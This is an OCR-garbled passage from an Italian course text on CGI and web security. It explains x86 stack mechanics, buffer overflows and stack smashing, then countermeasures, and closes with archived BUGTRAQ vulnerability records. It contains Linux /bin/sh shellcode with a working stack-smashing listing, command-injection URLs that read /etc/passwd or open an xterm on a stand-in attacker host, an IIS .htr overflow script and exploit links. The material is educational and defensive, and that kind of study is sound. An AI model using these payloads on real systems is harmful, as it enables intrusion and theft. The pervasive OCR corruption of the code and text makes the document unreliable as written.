» EIP: (Extended Istruction Pointer) registro a 32 bhit che @ntiene I’indirizzo dell’istruzione

corrente;

» ESP: (Extended Stadc Pointer) registro a 32 bit che contiene I’indirizzo della dma dello
stad;

» EBP: (Extended Base Pointer) registro a 32 bit che contiene I'indirizzo del fondo dello
stad;

* EAX, EBX, ECX, EDX: registri a32 hit di utilizzo generico.

| parametri e le variabili locali di una funzione sono indirizzati attraverso I'utilizzo d EBP,
addizionando a valore in es contenuto |0 spiazzamento relativo rispetto ad ess. Per facilitare
guesto tipo di indirizzamento, € prass comune ce una funzione, come primo compito, salvi sul
registro il contenuto di EBP ed inseriscain il contenuto d ESP. Si ottiene in questo caso un
puntatore al fondo dello stack locde dla funzione, indirizzo che normalmente € indicao con il
termine frame pointer. All’uscita della funzione EBP sara ripristinato con il valore che era stato
salvato sull o stadk (con|’istruzione assembler leave che descriveremo nel prossmo paragrafo).

5.3.8.3 Cenni di assembler

Diamo ara uno sguardo ad alcune istruzioni asembler il cui comportamento servira per la
trattazone dhe segue. Esse riguardano il mecanismo di chiamata afunzione:

* pushl: inserisceil suo unico operando (a 32 hit) nello stadk e deaementa ESP di 4;
» popl: prelevadalo stack un elemento (a 32 hit) e lo inserisce nel registro che costituisce il
SUO unco operando;
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» call: causal’esecuzione della funzione il cui codicerisiede dl’indirizzo speaficao dal suo
unico operando. Per far cio esegue un push sullo stack del valore di EIP e pore in EIP
I"indirizzo dellaprimaistruzione dellafunzione ai deve essere passato il controll o;

* leave: esegue un POP sullo stack e memorizzail contenuto dell’elemento eliminato dallo
stadk in EBP. Tale istruzione esegue in pratica un’uscita ad alto livello da una funzione
ripristinando il frame pointer, precedentemente salvato sullo stad, al’atto della chiamata

allafunzione de poi esegue I’istruzione;

* ret: e utilizzata per eseguire il ritorno da una funzione. Essa esegue un POP dallo stadk
dell’indirizzo d ritorno della funzione memorizzato dalla precedente istruzione call e

inserisce I’ e emento estratto in EIP.

Vediamo con ora un esempio pratico. Compilando il seguente codiceC:

int function(int a, int b,int c)

{
char buffer[8];
return(a + b + ¢c);
}
int main()

function(1l,2,3);
return(0);

Figura 26: prova.c

verra prodotto un codice asembler simile aquesto:

Codi ce assenbler di function()

pushl %bp ;inserisce EBP nello stack

nmovl %esp, Y%ebp ;copia ESP in EBP

subl $8, %esp ;sottrae a ESP 8 all ocando | o spazio per
movl 8(%ebp), Yeax ;

movl 12( %ebp), ¥%ecx ; codi ce che esegue

| eal (%ecx, Yeax), ¥edx ;i1 corpo

addl 16(%bp) , %edx ;del Il a funzi one

nmovl %edx, Yeax ;

| eave yripristina il frame pointer

ret ;ritorna dalla funzione

buf f er

Figura 27: codice assembler relativo a function()
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Codi ce assenbler di main()
pushl %bp
movl %esp, Yebp
pushl $3 ;inserisce nello stack il terzo paranetro di function()
pushl $2 ;inserisce nello stack il secondo paranmetro di function()
pushl $1 ;inserisce nello stack il prinmo paranetro di function()

call function
addl $12, %esp
xorl| % ax, Y%eax
| eave

ret

; esegue function()
;dealloca | o spazio riservato ai paranentri di

;pone a 0 EAX

ripristina il frame pointer
esegue il ritorno dalla funzione

function

Figura 28: codice assembler relativo a main()

Fatto cio vediamo cosa succede dlo stack quando tale adice é seguito.

mai n inserice nello stack i

paranetri di function

pushl $3
pushl $2
pushl $1

stack

3

2

stack
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mai n invoca function()

call function

function() salva il frame
pointer corrente e alloca lo
spazi o per |le sue variabil

| ocali

pushl %ebp
movl Y%esp, %ebp
subl $8, %esp

buffer(8]

37
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stack
3
2
) . . 1
function(), eseguito il suo
conpito, ritorna il controllo
a main
| eave
ret
stack
stack
mai n() dealloca | o spazio
riservato ai paranetri d
function()
addl $12, %esp
stack

Figura 29: meccanismo di chiamata a funzione

5.3.8.4 Buffer overflow

Posdamo ora capire cosa succede in caso d buffer overflow e come in tale evenienza si possa
avere un attacco di tipo stadk smashing. Riconsideriamo in modo piu approfondito il codicevistoin
precedenza e portava al un bufer overflow.
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#i nclu de < str i ng.h >
voi d function(char* str)

charb uffer[16];
str cpy(buffer,str);

}

intmain()

{
char large_string[256];
int i;
for(i=0 ;i <254;i++) {

| arge_stri ng[i]=" A,

}
large_string[i] = "\0";
function(large_string);
return (0);

}

Figura 30: esempio di buffer overflow

Una volta compilato ed eseguito, il codice C della figura precedente termina provocando una
segmentation fault. Cio accale poiché function() cerca di copiare large string in buffer, senza
controll are che lo spazo alocato per ‘buffer’ siasufficiente a contenere ‘large string’, ossa senza
effettuare il cosiddetto "bound checking”. Quello che succede in pratica € te, andando a @piare
large _string in buffer si oltrepassano i limiti dello spazo allocato sullo stack per buffer; in questo
modo s va a sovrascrive il valore di EIP, memorizzato sullo stack dall' istruzione assemblecall,
con del valori arbitrari (nel nostro caso 0x41414141, poiché 0x41 éil codice ASCII in esadecimale
del carattere ' A' ). Quando la funzione ritorna, chiamando I’istruzione asmbleet, questo valore
arbitrario e inserito in EIP. Quasi sicuramente non corrispondera a unindirizzo valido per lo
spazo di indirizzamento del proces in eseauzione el il tutto s risolvera nella terminazione del
proces a caisadi una segmentation fault. Lafigura seguenteillustra do che abbiamo detto.
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buffer[16]

stack prima della
chiamata a strcpy()

strepy () sovrascrive le
locaziconi delle stack ove
eranc contenuti EBP, EIF e
*str

buffer[16]

stack dopo | a chianmata
a strcpy()

Figura 31: stato dello stack nel buffer overflow

Siamo dunque giunti a punto cruciale dello stack smashing: la manipolazione dell'indirizzo di
ritorno d unafunzione.. Manipolando tale indirizzo & possbile far eseguire un codice abitrario.
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5.3.8.5 Esempio di stack smashing

Vediamo con un esempio pratico come sia possibile eseguire codice macchina arbitrario tramite
uno stack smashing. Supponiamo di voler eseguire una shell, ad esempio /bin/sh. La sequenza di
istruzioni in codice macdina che esegue il comando ‘/bin/sh’ deve essere posta da qualche parte
nella memoria del proces in eseauzione, e successvamente bisogna fare in modo che I’indirizzo
di ritorno di una qualche funzione punti ala prima istruzione di tale sequenza. Cio puo essere
redizzao uilizzando la stringa esadecimale corrispondente dle istruzioni macdina e eseguorno
il compito della system cdl:

char *n ame[2]= {“sh”, NULL}

execve(“/bin/sh”, name, NULL);

Tale stringa dipende dall’ architettura e dal sistema operativo utilizzati. Usando dell e utility per il
debugging € posshileisolareil codicemacchina the df ettuatale chiamata.
Per un sistema Linux su piattaforma Intel x86 sarala seguente:

\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xbO\ x0Ob\ x89\ xf 3
\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd\ x80\ xe8\ xdc\ xf f
\ xff\ xff/bin/sh

Figura 32: codice di esecuzione della shell sh

Combinando il codice del buffer overflow del precedente esempio con quanto visto arasi ottiene |l
seguente listato:

#i nclu de < str i ng.h >

char shellcode[] =" \xeb\x1f\x5e\x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\
\ x89\ x46\ x0c\ xb0\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\
\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd\ x80\ xe8\ xdc\
\ xff\xff\xff/bin/sh";

char large_string[l 28];

void main() {

charb uffer[96];

inti ;
long* long_ptr =(long* ) large_string;
/*r ienpiela rge_string conl” indiriz zodib uffer* /
for(i=0 ; 1<32 i ++) |
*(long_ptr +i )= (int) buffer,
}
/* copiamoi |l contenutodis hellcode inl arge_stri ng*
for(i=0 ; i<st rlen(shellcode);i+ +){

large_string[i]= shell code[i] ;

}
str cpy(buf fer,| arge_string);
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Figura 33: esempio di stack smashing

Vediamo cosafa, in dettaglio, il codice sopra:

e large string e riempito con I’indirizzo d buffer

* il codicedi eseauzione dellashell € wpiato al’inizio di large string

o strcpy() copia large string in buffer creando wun buffer overflow e sovrascrivendo
I"indirizzo d ritorno dellafunzione

» al ritorno dellafunzione strcpy() il controllo sara passato alla primaistruzione ce eseguira
lashell

Lafigura seguente ill ustra quanto detto.

stack

EIP

EEP

leong ptr

i

stato dell o stack
prima della chianmata

a strcpy()

buffer[96]

stack
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stack

strepy () sovrascrive il
valore di EIFP memorizzato
sullo stack con l'indirizzo

di buffer
stato dell o stack
dopo la chiamata a buffer[96]
strcpy()
stack

Figura 34: stato dello stack in una situazione di stack smashing

Questo e tutto cio che bisognafare per redizzare I’ exploit.

Il codice de abbiamo visto mostra mme funziona una metodologia di attacco d tipo stack
smashing. Sicuramente il programma de s vuole dtaccare, sa es uno script CGl 0 no, non
contiene d suo interno il codice macdina necessario per |’eseauzione della shell. Di conseguenza,
s devefar uso d un artificio per inserire tale cdice nella memoria del processo in esecuzione, per
poi potergli passareil controllo (ad esempio, |0 Si pud passare mwme parametro alineadi comando,
inserire in uma variabile di ambiente o d shell, o passare a programma sottoforma di input
interattivo). Inoltre, il nemico deve cdcolare I'indirizzo dove sara posto tale wdice per poterlo
eseguire. Problema, questo, aslutamente non banale, ma non per questo impossbil e da risolvere
come dimostrano gli innumerevoli attacchi portati con successo.

Molti linguaggi sono sostanzialmente immuni da questo problema, in quanto eseguono il
ridimensionamento d un buffer quando se ne presenta la necessta, come il Perl e Ada9s. |l
linguaggio C, che abbiamo scdto per la trattazione dei nostri esempi, non e tra questi. Vediamo,
alora, quali sono le temiche die consentono di ridurre @ minimo il rischio d scrivere cdice non
sicuro.

5.3.9 Soluzioneal problema dello stack smashing

Esistono due tipi di soluzioni per il problema dello stadk smashing. Una segue un approccio
decentralizzato e |’ dtra centralizzato.

Un approcdo centralizzao prende in considerazione I'ipotesi di modificare le librerie di sistema
e/o il kernel del sistema operativo, mentre quello decentralizzato prevede la modifica dei
programmi che presentano potenziali situazoni di pericolo.
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5.3.9.1 Approccio decentralizzato

Tale approccio prevede la modifica dei programmi gia implementati e la stesura di nuovi con
temiche the evitino, quanto piu possbile, I'insorgere di potenzidi problemi di buffer overflow.
Questo approcdo puo essere implementato utilizzando due diverse metodologie. La prima prevede
che siail programmatore ad asscurarsi di non inserire nel codice che sta scrivendo posshbili fonti di
attacco, mentre la seconda che si utilizzino opportuni tool capad di individuare o evitare potenziali
situazioni di pericolo. E consigliabile che il programmatore facda molta dtenzione dl’ utilizzo
delle seguenti funzioni dellalibreriastandard C:

* Qets)

o sprintf()

o strca()

*  strepy()

o stread()
*  strequy()
o strtrns()

* index()

o fscanf()

» scanf()

o sganf()

* vsprintf()
* redpath()
*  getopt()

* getpasy()

Queste infatti hanno la caratteristica wmune di effettuare la scrittura di valori nei buffer senza
controllare dhe ladimensione di questi ultimi sia sufficientemente grande da poterli contenere.

In generde, chiamate a funzioni C che mpiano stringhe senza ®ntroll arne la dimensione non sono
sicure. Ogniqualvolta e possbile, bisognerebbe rimpiazzare una chiamata di tale genere @mn una
corrispondente funzione che ne wntrolla la dimensione, se essa & disponibile. E dunque
consigliabile:

* sodtituire gets() con fgets()

e sodtituire strca() con  strncat()

* sodtituire strepy() con  strnepy()
» sostituire sprintf() con  snprintf().

E necessario, inoltre, controllare accuratamente il contenuto e la lunghezzadi variabili di shell,
variabili d ambiente eargomenti dellalineadi comando primadel loro utilizzo.

Inoltre, i tool, cui precedentemente si € accanato, sono di vario tipo. Esistono varie patch che
modificanoi compilatori C in modo tale da prevenire le situazioni arischio. Un semplice gproccio
di questa natura prevede le modifiche d compilatore die non hanno effetto sulla natura del
linguaggio. Si pensi ad esempio ad un compilatore e fornisce dei messaggi di warning quando,
al’interno del codice e s sta mmpilando, sono presenti chiamate afunzioni che in qualche modo
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posono rivelars pericolose. |l vantaggio principale di questa temica e te incoraggia la stesura di
codicesicuro senza modificare néil li nguaggio, né le prestazoni del codice @mpil ato.

Una metodologia un po’ piu sofisticata prevede di modificare le funzioni di libreria che possono
generare problemi, inserendo al loro interno codice che antrolli I’integrita dell’indirizzo di ritorno
di una funzione. E infatti proprio I’ aterazone di quest’ ultimo la chiave di attacco di tipo stack
smashing. Lo svantaggio d questo metodo € che le funzioni ‘ritocca€’ potrebbero ridurre
notevolmente le proprie prestazoni, e cme nel precedente approccio, gqueste modifiche non
prenderebbero in considerazione le funzioni definite dal programmatore. Inoltre, il codice di
controllo da inserire nelle funzioni dovrebbe necessariamente essere scritto in assembler,
rendendolo non portabile da una piattaforma dl’altra. Tra queste soluzioni quella piu conosciuta &
sicuramente ‘ StadkGuard’ [ 15], una versione modificata del compilatore gcc della GNU.

Un approcdo estremo a problema adotta modifiche sostanziali a compilatore per inserire a suo
interno dei controlli, eseguiti a run-time, sui limiti delle varie zne di memoria aii s accede
tramite un puntatore. Un approccio uili zzao per implementare tale temica consiste nel modificare
larappresentazone dei puntatori all’interno del linguaggio: un puntatore dovra essere rappresentato
da tre elementi, osda, il puntatore stes, un limite inferiore e un limite superiore per 1o spazo
d’indirizzamento del puntatore. Con tali informazoni addizionali, € semplice implementare un
controllo a run-time, che asdgcuri che I’area che si cerca di referenziare tramite un puntatore sia
valida. A dispetto di questo beneficio, I'utilizzo di questo metodo presenta alcuni svantaggi: il
tempo d esecuzione del codice ottenuto incrementa di un fattore di 10 o piu [11]; I’ al ocadone dei
registri per i puntatori diventa molto piu costosa; devono essere fornite nuove versioni delle librerie
di sistema e delle system cal che seguano questa politicag il codice che s interfaccia @n
I’ hardware puo essere completamente incompatibil e, 0 necesstare di particolari attenzioni.
Un’'implementazone di cio é stata data da Richard Jones e Paul Kelly dell’Imperial College di
Londra nel Luglio 1995, che hanno progettato una patch per il compilatore gcc. Il loro approccio
prevede il controllo dei limiti delle zone di memoria indirizzate da un puntatore senza dover
modificare la rappresentazione stessa del puntatore. Per maggiori informazioni si veda[6] e[7].

5.3.9.2 Approccio centralizzato

Un approcdo centralizzao a problema, come abbiamo detto, prevede la modifica di talune
caatteristiche del kernel del sistema operativo e/o delle librerie di sistema. La soluzione principale
prevede di rendere il segmento relativo allo stadk non eseguibile. Cio ha un fondamentale
vantaggio rispetto adle dtre contromisure: nessuna ricompilazione delle librerie C deve essere
eff ettuata, né il compil atore deve essere modificato, mentre enecessaria la sola ricompilazone del
kernel del sistema operativo. Un approccio di questo tipo € stato implementato da un
programmatore che ha assunto il nome di Solar Designer [21]. Lo svantaggio di tale approcdo e
che una modifica d kernel di questo tipo pud avere degli effetti indesiderati. Infatti s puo
riscontrare un comportamento non corretto di chiamate afunzione nidificae. Inoltre in un sistema
Linux, € quciae de lo stack sia eseguibile durante |’ esecuzione delle funzioni di gestione del
segnali (signal handler) per cui s rende necessaria |I'implementazione di un meccanismo che
asscuri una temporaneamarcatura di eseguibilita dlo stack durante I’ eseauzione di queste ultime.
Questi motivi ovviamente scoraggiano un approccio d questo tipo.
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8. Appendice: esempi di vulnerabilita

Questa appendice € una piccola rassegna di vulnerabilita “redi” per rendere I’argomento piu
interessante.

Tutto il materiale presente di questa appendice estato estratto dal database dell e vulnerabilita della
mailing liss BUGTRAQ * (che chiameremo VulDB) consultabile preso la URL
http://www.seaurityfocus.com/ nella sezione “Vulnerabilities/database”. Si e preferito non tradurre
i record del VulDB per non appesantire la trattazone e per rendere familiare a lettore questo
strumento d indubbio valore.

8.1. Categoria: Input non controllato

Semndo la dassificazione del VulDB, la vulnerabilita édi clase “Input Validation Error” se e
dovuta a almeno una dell e seguenti cause:

» il programma non € riuscito ariconoscere sintatticamente gli input scorretti;

e unmodulo ha acdtato campi estranei di input;

e unmodulo non ériuscito agestirei campi di input mancanti;

* una wrrelazione ampo-valore arata

Apache HTTP Server (win32) Root Directory Access Vulnerability

Info
bugtraq id
1284
class
Input Validation Error
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
No
published
May 31, 2000
updated
June 05, 2000
vulnerable
Apache Group Apache 1.3.9win32
Apache Group Apache 1.3.6win32
Apache Group Apache 1.3.12win32
Apache Group Apache 1.3.11win32
IBM HTTP Server 1.3.6.2 win32
IBM HTTP Server 1.3.3win32

* BUGTRAQ (listserv@seaurityfocus.com) & unamailing list moderata per discutere dettagli atamente eper annunciare
eventuali vulnerabilita della sicurezzadel computer: cosa sono, come sfruttarle e @me porvi rimedio. 11 moderatore
Elias Levy alias Aleph One (alephl@seaurityfocus.com) (cfr [22]).
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not vulnerable
Apache Group Apache 1.3.13win32
IBM HTTP Server 1.3.6.2 unix

Discussion

Apache HTTP Server 1.3.x (win32) allows people to get a directory listing of a directory, if it is
enabled in the config, even if an index file is present that would normally be displayed instead.
This can be achieved by sending a number of "/* characters appended to an HTTP request to the
server. (eg: http:/iwww.host.comV/ITTHTHTTHTTTTTTTTTTTTTTTTTTTTTNN..). When apache calls
stat() to check if the index.html (for example) exists, Windows will return an error if the path is
too long. Apache incorrectly treats this as if the file does not exist. Different numbers of "/"s are
required based on the length of the path to the DocumentRoot.

Exploit
H D Moore <hdm@secureaustin.com> has composed a per| script to determine the number of
"["srequired.

http: //www.securityfocus.convdata/vul ner abilities/expl oits/http-offset.pl

Solution
Disabling the "Indexes" option works as a temporary workaround.

Credit
Initially posted to bugtragq on May 31, 2000 by Marek Roy <marek_roy@hotmail .com>
Clarification and update posted on BugTraq June 3, 2000 by Marc Semko <marcs@znep.com>

Reference
message:
Apache HTTP Server Project
(Marek Roy <marek _roy@hotmail.com>)
message:
IBM HTTP SERVER / APACHE
(Marek Roy <marek _roy@hotmail.com>)
message:
Re: IBM HTTP SERVER / APACHE
(Marc Semko <marcs@znep.com>)

Counter.exe Denial of Service Vulnerabilities

Info

bugtraq id
267

object

counter.exe (exec)
class
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Input Validation Error
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
No
publi shed
May 19, 1999
updated
April 11, 2000
vulnerable
Behold! Sdtware Web Page Counter 2.7
- Microsoft II S 40
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
not vulnerable

Discussion

A set of vulnerabilities in the counter.exeweb hit counter program enables denial of service
attacks. A malicious user can create a malformed like ",1" entry in the wunter.log file by
requesting a URL of the form "http://www.example.convscripts/counter.exe?%0A". Any further
attempt for request will result in an Access Violation in counter.exe.

A similar wlnerability exsts if a uer requests a URL of the form
http://www.exampl e.corm/scripts/counter.exe?AAAAA with over 2200 A's.

All further requests for counter.exe are queued and are not processed until the error messages
are deared at the mnsole. System memory may be decremented each time a request for
counter.exeis queued.

Exploit
see discussion

Solution
none

Credit
This  wulnerability was  published in BUGTRAQ by  David Litchfield
<mnemonix@gl obal net.co.uk>

Reference
message:
Denial of Service in Counter.exe version 2.70
(David Litchfield <mnemonix@gl obal net.co.uk>)
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CDomainFree Remote File Execution Vulnerability

Info
bugtraq id
304
class
Input Validation Error
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
No
published
June 01, 1999
updated
April 11, 2000
vulnerable

Cdomain CdomainFree 2.4
Cdomain CdomainFree 2.3
Cdomain CdomainFree 2.2
Cdomain CdomainFree 2.1
Cdomain CdomainFree 2.0
Cdomain CdomainFree 1.0
not vulnerable

Cdomain CdomainFree 2.5
Cdomain CdomainPro 4.0

Discussion

A wulnerability in a CGI program part of CdomainFree allows remote malicious users to run any
executable already existing to the machine.

The wulnerability is in the whois raw.cgi program. This CGI passes user input to the shell
without proper filtering. None of the Cdomain commercial version (e.g. CdomainPro) are
vulnerable as they connect the whois servers directly.

Exploit
http://www.exampl e.corm/cgi-bin/whois_raw.cgi ?fqdn=%0Acat%20/etc/passwd

http: //www.exampl e.corm/cgi-bin/whois_raw.cgi ?fqdn=%0A/usr/X11R6/bin/xter m%20-
display%20evil .example.com:0

Solution
Upgrade to CdomainFree 2.5 or to one of the commercial versions.
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Credit
This vulnerability was published in the BUGTRAQ naili ng list by Salvatore Sanfilippo -antirez-
<md5330@mclink.it>.

Reference
message:
whois _raw.cgi problem
(Salvatore Sanfilippo -antirez- <md5330@mclink.it>)

SolutionScripts Home Free search.cgi Directory Traversal Vulnerability

Info
bugtraq id
921
class
Boundary Conditi on Error®
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
Yes
publi shed
January 03, 2000
updated
April 11, 2000
vulnerable
Solution Scripts Home Free 1.0
not vulnerable
Solution Scripts Home Free 3.20

Discussgon
Home Freeis a suite of Perl cgi scripts that allow a website to support user contributions of
various types. One of the scripts, search.cgi, accepts a parameter called letter which can be any
text string. The supplied argument can contain the '../" string, which the script will process This
can be used to obtain directory listings and the first line of files outside of the intended web
filesystem.

Exploit
http:: //www.securityfocus.comy/data/vul ner abili ties/expl oits/homefr ee.pl

Solution

® Questa vulnerabilita gpartiene, con molta probabilita, alla dasse “Input Validation Error” e non dla dass “Boudary
Condtion Error” comeriportato nel VulDB. [nda]
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Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If
you feel we are in error or are aware of more recent information, please mail us at:
vuldb@securityfocus.com.

Credit
Discovered and posted to Bugtrag on January 3, 2000 by "kOad k1d" <kOadkld@hotmail.com>.

Reference
message:
Another search.cgi vulnerability
(kOad k1d <kOadkld@hotmail.com>)
web page:
Home Free Home Page
(Solution Scripts)

phf Remote Command Execution Vulnerability

Info

bugtraq id
629

object
phf (exec)

class
Input Validation Error

cve
CVE-1999-0067

remote
Yes

local
No

published
March 20, 1996

updated
April 11, 2000

vulnerable
Apache Group Apache 1.0.3
NCSA NSCA httpd 1.5a-export

not vulnerable

Discussion

A wulnerability exists in the sample cgi bin program, phf, which isincluded with NCSA httpd, and
Apache 1.0.3, an NCSA derivitive. By supplying certain characters that have special meaning to
the shell, arbitrary commands can be executed by remote users under whatever user the httpd is
run as.
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The phf program, and possibly other programs, call the escape shell cmd() function. This
subroutine is intended to strip dangerous characters out prior to passing these strings along to
shell based library calls, such as popen() or system(). By failing to capture certain characters,
however, it becomes possible to execute commands from these calls.

Versions below each of the vulnerable webservers are assumed to be vulnerable to exploitation
via the phf example code.

Exploit
See discussion.
Many exploits arein circulation and in wide use exploiting this vulnerability in different ways.

Solution

This cgi-bin call, along with any others that are unused, should be removed. A patched version of
the escape_shell_cmd() function is available as part of later httpd distributions. This can be
obtained at: http://hoohoo.ncsa.uiuc.edu/beta-1.5

Apache should be upgraded immediately.

Credit

This bug was first made public by the IBM ERS Team. However, the bug was reported to them by
Jennifer Myers early in 1996. Previous to that the exploit had been in wide distribution circles
among hackers. The actual release date of the IBM ERS Advisory (ERS-SVA-E01-1996:002.2)
was 16 April 1996.

Reference
advisory:
CA-96.06: Vulnerability in NCSA/Apache CGI example code
(CERT)
advisory:
ERS-SVA-E01-1996:002.1: CGI program can be tricked into executing any arbitrary
command
(IBM)
advisory:
ERS-SVA-E01-1996:002.2: NCSA HTTPD and Apache HTTPD Common Gateway
Interface vulnerability
(1IBM)

8.2. Categoria: Buffer overflow

Seondo la dassficazone dd VulDB, la vulnerabilita edi classe “Boundary Condition Error” se e
dovuta a ameno una dell e seguenti cause:
» Un processo tenta di leggere o scrivere oltre un indirizzo limite valido;
* Unarisorsadi sistema € aaurita;
« S e veificao un overflow di una struttura dati di taglia fissa. Questa € la classica
condizione di buffer overflow.
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NT 1S4 Buffer Overflow Vulnerability

Info
bugtraq id
307
object
ISM.DLL (exec)
class
Boundary Condition Error
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
No
published
June 15, 1999
updated
April 11, 2000
vulnerable

Microsoft 11S4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
not vulnerable
Microsoft Windows NT 4.0SP6
+ Microsoft Windows NT 4.0

Discussion

A buffer overflow vulnerability in the way I1S handles requests within .HTM extensions allows
remote attackers to execute arbitrary code on the target machine.

[1S supports a number of file extensions that require futher processing (i.e. .ASP, .IDC, .HTR).
Whe a request is made for one of this file types a specific DLL processes it. A stack buffer
overflow vulnerability exists in ISV.DLL while handling .HTR, .STM or .IDC extensions. The
ISM.DLL filter isinstalled by default with 11S,

Exploit
Use the following script to test your site:

#!/usr/bin/perl
use LWP:: Simpl e;
for ($i=25 00; $i< =3500; $i++){
warn" $i\n";
get" http://$ARGV[O]/" .("a'x$ i). ".htr"
}



Common Gateway Interface & Web Security 56

http: //www.securityfocus.convdata/vul ner abilities/exploits/iishack.exe
http: //www.securityfocus.convdata/vul ner abilities/exploits/iis-injector.c
http: //www.securityfocus.convdata/vul ner abilities/exploits/tesoiis.c

Solution
Microsoft has made the following fix available:

ftp://ftp.microsoft.com/bussys/11 Siis-public/fixes/usa/ext-fix/
This vulnerability was patched in NT Service Pack 6.
Microsoft recommends disabling the script mapping for .HTR filesasa workaround:

* From the desktop, start the Internet Service Manager by clicking Start |
Programs | Windows NT 4.0 Option Pack | Microsoft Internet Information
Server | Internet Service Manager

* Double-click "Internet Information Server"

* Right-click on the computer name and select Properties

* In the Master Properties drop-down box, select "VWWV Service", then click
the "Edit" button .

* Click the "Home Directory" tab, then click the " Configuration” button .

* Highlight the line in the extension mappings that contains".HTR", then click
the "Remove" button.

* Do the same for .STM and .IDC extensions.

* Respond "yes' to "Remove selected script mapping?" say yes, click OK 3
times, close |SM

eEye has made available a filter patch that will limite .htr request to 255 bytes yet allow normal
request to continue to work. The filter and source are available at:

http://www.eeye.corm/database/advisories/ad06081999/ad06081999-ogl e.html

Credit
This vulnerability was discovered by the eEye Digital Security Team.

Reference

advisory:
ADO06081999: Buffer Overflow in 14
(eEye)

advisory:
CA-99-07: 11S Buffer Overflow
(CERT)

advisory:
J-048: Malformed HTR Request Vulnerability
(CIAC)

advisory:
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MS99-019: Workaround Available for "Malformed HTR Request” Vulnerability
(MY
message:
[1S Remote Exploit (injection code)
(Greg Hoglund <hoglund@IEWAY.COM>)
message:
Updateto I1Shole.
(Marc <Marc@EEYE.COM>)
web page:
eEye Digital Security Team Home Page
(eEye)
web page:
Q234905: An Improperly Formatted HTTP Request Can Cause The Inetinfo Process To
(Microsoft)

L otus Notes Domino Webserver CGIl Vulnerabilities

Info
bugtraq id
881
object
NHTTP.exe (exec)
class
Unknown®
cve
GENERIC-MAP-NOMATCH
remote
Yes
local
Yes
published
December 21, 1999
updated
April 11, 2000
vulnerable

Lotus Domino Server 4.6.x
- Microsoft Windows NT 4.0
Lotus Domino Server 4.6
- Microsoft Windows NT 4.0
not vulnerable

Discusson

®Inredtail bugtrag id 881 identifica, contemporaneamente, tre vulnerabilitadi class “Input Validation Error”,
“AccessVaidation Error” e “Boundary Condtion Error”. [nda]
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Three vulnerabiliti es have been discovered in the ayi handling done by Lotus Domino Server's
Webserver component.

1: Path information can be obtained.

By submitting a request for a non-existant cgi, an attacke can determine the fil esystem structure
of the server. Example:

Requested URL:

http: //victimhost/cgi-bin/asdf

Response:

Error 500

Bad script request -- no variation o 'c:/notes/data/domino/cgi-bin/asdf' is exeautable

2: Anonymous accesscan not be disabled.
Even with anonymous accessturned off on the server, it is gill permitted for the ai-bin dredory.

3: Buffer overflow in cgi error handling

An overly long URL in a GET request, rooted in the ayi-bin dredory, will crash the server. Not
all long strings sem to work, but one that was tested and found to work was:

'GET /cgi-bin/[800','1[4000'a’] HTTP/1.0

Exploit
see discusson

Solution

Currently the SeaurityFocus daff are not aware of any vendor supplied patches for thisiswue. If
you fed we are in error or are aware of more recent information, please mail us at:
vuldb@seaurityfocus.com.

Wor karound for the Denial of Service: (Quoted from a Bugtraqg post by Lotus)

Recommended Wor karounds for Buffer Overflow Denial of Service Attack Against Lotus Domino
Server

The workaround is to create a URL redired in the DOMCFG.NSF database that redireds any
anomalous CGI requests to another URL. Since any non-exs tent CGlI calls can cause this error,
the foll owing workaround is suggested.

* |If the austomer does not require the use of any CGl's, then the entire /cgi-bin dredory can be
redireded to another URL (a Notes database, or html fil€). If any "/cgi-bin" requests are made,
they will be directed to this URL and are not processed as CGl.

* |f the austomer does require the use of CGl's the following setup will be required:

1) Inthe HTTP section of the Server Document, change the "CGI URL path " field to a different
URL path. This does not require a change for the " CGlI diredory" field, such that the location on
the hard drivefor CGI'swill remain the same. Only the URL which invokes CGI's will be altered.

Example: The default CGlI URL path is "/cgi-bin"; change this to "/scripts/cgi-bin". Now,
whenewer a /cgi-bin request is made, it isreagnized asa URL instead of a CGlI.
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2) Create a URL Redirect document in the DOMCFG.NSF for each spedfic CGI that resides on
the server. Spedfy the incoming URL path as "/cgi-bin® , and the rediredion URL as
"/scripts/cgi-bin”.

Example: A customer has a CGI named " Xrun.cgi” in the domino/cgi-bin diredory. Regularly,
any requests to execute the CGl would come in as "http://hosthame/cgi-bin/Xrun.cgi”. This URL
request is redireded to "http://hostname/scripts/cgi-bin/Xrun.cgi”, where Domino will recognize
it as a CGlI, and run the script. In this case, the "/cgi-bin" URL itself is not reaognized as a CGlI
request. It is only the redirection to "/scripts/cgi-bin" that will cause the Domino server to
processit asa CGl script

At this point, any generic requests for CGl's using "/cgi-bin" will not be recognized as CGlI.
Instead, the Web server will search for a comparable filename, returning "Error 404- file not
found" sinceit is not capable of finding such a URL. The austomer can now customize the error
message to indicate that the requested CGI does not reside on the server.

The above @mnfiguration is designed to accomplish the following:

* Since the current Domino 4.6 Srve code may crash any time a non-exstent CGI is requested,
the potential to run non-existent CGI's must be removed. By this configuration anomalous CGI
requests are not recognized as CGlI scripts, and Domino will not attempt to run them.

* The CGI URL path is altered so that only CGI's using the URL "/scripts/cgi-bin..." will be
recognized as CGl's. The administrator then creates a URL redirect document for each present
CGil that redireds any valid URL requests using the syntax "/cgi-bin..." to the URL "/scripts/cgi-
bin...". The Domino Server will then invokethe CGI scrip t. Thiswill avoid the Domino Srver
attempting to runa CGl that isnot present on the server, running only valid CGlI's.

* Sincethe URL redired does not display the redireded URL to the browser, end users need not
ever know the true URL path to invoke CGI scripts. This further protects the site from
unscrupulous web clients deliberately attempting to crash the server by requesting to invoke a
non-exstent URL. Such a user would need to know the exact URL path to issue for the server to
